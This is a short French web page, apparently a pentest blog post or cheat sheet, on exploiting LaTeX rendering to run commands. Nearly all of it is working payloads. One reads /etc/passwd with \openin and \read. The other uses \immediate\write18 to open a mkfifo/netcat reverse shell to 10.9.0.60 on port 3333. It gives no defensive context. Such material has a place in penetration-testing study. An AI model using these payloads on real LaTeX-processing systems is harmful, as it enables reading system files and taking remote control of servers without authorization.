Exploitation de l’outil Latex pour exécuter des commandes

Lire le fichier /etc/passwd

\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

Exécuter une commande

\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.60 3333 >/tmp/f}

Leave a Reply